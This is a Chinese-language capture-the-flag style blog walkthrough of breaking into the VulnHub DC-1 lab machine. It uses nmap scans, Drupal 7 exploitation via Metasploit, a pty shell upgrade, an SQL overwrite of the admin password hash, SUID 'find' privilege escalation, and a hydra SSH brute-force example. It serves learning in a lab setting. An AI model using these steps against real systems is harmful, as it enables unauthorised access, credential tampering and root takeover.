DC-1靶机打靶记录

GTL-JU Lv3

一、靶机搭建

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

下载得到是一个ova文件

我们这里直接导入就行

image-20230908200000681

设置靶机名字和虚拟机存放位置

然后直接启动虚拟机就可以了

image-20230909142915814

二、信息收集

靶机发现

因为目标靶机和我们的攻击机是在同一网段,我们这里直接扫描网段存活主机就行了

1
nmap -sn 192.168.113.0/24

image-20230909143322829

通过存活主机扫描可以得到我们的目标靶机的ip地址为192.168.113.148

端口扫描

扫描目标靶机开放的端口

1
nmap -A -T4 -O -p 0-65535 192.168.113.148

image-20230909143555072

可以看到开放了221端口和80端口

根据扫描结果我们可以看出开启了ssh服务和web服务

访问对应的web服务

三、漏洞扫描与利用

image-20230909144813909

主页面是一个登录页面

尝试管理员账号弱口令登录

image-20230908202528547

没有爆出来密码

使用whatweb工具进行指纹识别

1
whatweb -v 192.168.113.148

image-20230909155519077

指纹识别出来这是一个drupal 7的cms

这里使用msfconsole进行漏洞的搜索和利用

1
msfconsole

image-20230909155744088

漏洞检索

1
search Drupal

image-20230909155926867

这里漏洞很多

但是测试只有编号为1的可以使用

image-20230909160939336

1
options

查看设置

配置目标靶机地址,和攻击机地址,也就是本机地址

image-20230909161031876

设置完就可以输入exploit开始进行漏洞利用

image-20230909161209344

利用成功

这里进行getshell

1
meterpreter > shell

image-20230909161311501

可以看到一个flag1.txt

image-20230909161423066

意思是让查看一下配置文件

网上可以搜索到durpal的配置文件的路径

1
/sites/default

image-20230909161622967

我们这里起的是一个反向shell

这里直接用python的 pty模块升级交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20230909161706448

image-20230909161914430

image-20230909162118874

flag2没有具体告诉我们flag3在哪里

image-20230909162337296

但是我们可以找到

数据库的账号密码,登录进入数据库看看有没有敏感信息

image-20230909162533641

image-20230909162734376

进入drupaldb数据库,查看表

image-20230909163008070

查看里面的数据

image-20230909163130086

在这里面我们可以找到

在这里面我们可以找到管理员的账号密码

但是密码是被加密了

看网上师傅的wp说是drupal存在加密脚本

我们可以用加密脚本加密一个我们自己设置的密码,然后把这个管理员密码替换掉

加密脚本文件路径在/var/www/scripts/password-hash.sh。

1
php /var/www/scripts/password-hash.sh 123456789

image-20230909164443711

那我们后面就可以进行密码替换了

1
update users set pass = "$S$D8yKKKzqsc2R.PZyfXmrY/R//m.mDetlFB3DU/D3srEPHqfCtyi/" where name ='admin';

image-20230909164733153

然后我们这里已经成功把密码替换成我们自己设置的

然后我们直接去登录页面登录就行了

image-20230909165101345

成功登录进来,而且我们也发现了flag3的位置

image-20230909165214519

image-20230909165307393

根据提示查看etc/passwd

image-20230909165341004

flag4在home目录下

image-20230909165806415

需要提权到root权限才可以

尝试suid提权

四、提权

查看所有有s标识为的命令

1
find / -perm -u=s -type f 2>/dev/null

image-20230909170505396

有很多命令都有s标识位

这里尝试使用find提权

image-20230909170723993

尝试使用root执行命令

1
find `which find` -exec whoami \;

image-20230909170820781

提权

1
find . -exec /bin/bash -p \;

image-20230909171428691

可以看到提权成功

进入后面home查看flag4

image-20230909171717246

五、总结

这台靶机主要是学习了一下漏洞扫描和里利用工具的使用

whatweb指纹识别

安装:

1
apt-get install whatweb

kali中自带的有

参数:

1
2
3
4
5
h 查看帮助信息
--version 查看版本信息
-i 指定要扫描的文件
-v 详细显示扫描的结果
-a 指定运行级别

所有参数:
使用添加whatweb -h查看所有参数

常规扫描:

1
whatweb url

批量扫描

将url全部写入一个txt中,然后使用-i参数指定文件就可以了

扫描结果显示详细内容

1
whatweb -v ip

msfconsole漏洞扫描利用

安装:

1
apt install metasploit-framework #kali自带的有

使用方法,终端输入msfconsole

image-20230909172414215

msf控制台参数运用

1
2
3
4
- banner #这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。 
- use #这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
- Search #当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。 使用命令 `help search` 可以查看具体使用方法; 其他使用方法: 查mysql:`search name:mysql`; 查joomla:`search joomla`;查ubutu漏洞:`searchsploit ubuntu 16.04`;查ms08-067漏洞:`search ms08-067` ......
- show #这个命令用的很多。如果单纯的输入show,那么就会显示出所有的payload,利用模块,post模块,插件等等。但是一般我们都不这么使用。如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。

生成payload时常见参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64 –platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00'; -i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload -h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

searchsploit

使用方法 :

1
searchsploit 目标名称

下载payload:

1
searchsploit -m exp文件名

hydra(ssh爆破工具)

1
hydra -l 用户名 -P /usr/share/wordlists/rockyou.txt.gz ssh://ip

-l 指定破解的用户,对特定用户破解,-P 指定密码字典。

/usr/share/wordlists/rockyou.txt.gz是kali自带的。

  • 标题: DC-1靶机打靶记录
  • 作者: GTL-JU
  • 创建于: 2023-09-09 17:45:17
  • 更新于: 2023-09-12 20:16:15
  • 链接: https://gtl-ju.github.io/2023/09/09/DC-1打靶记录/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。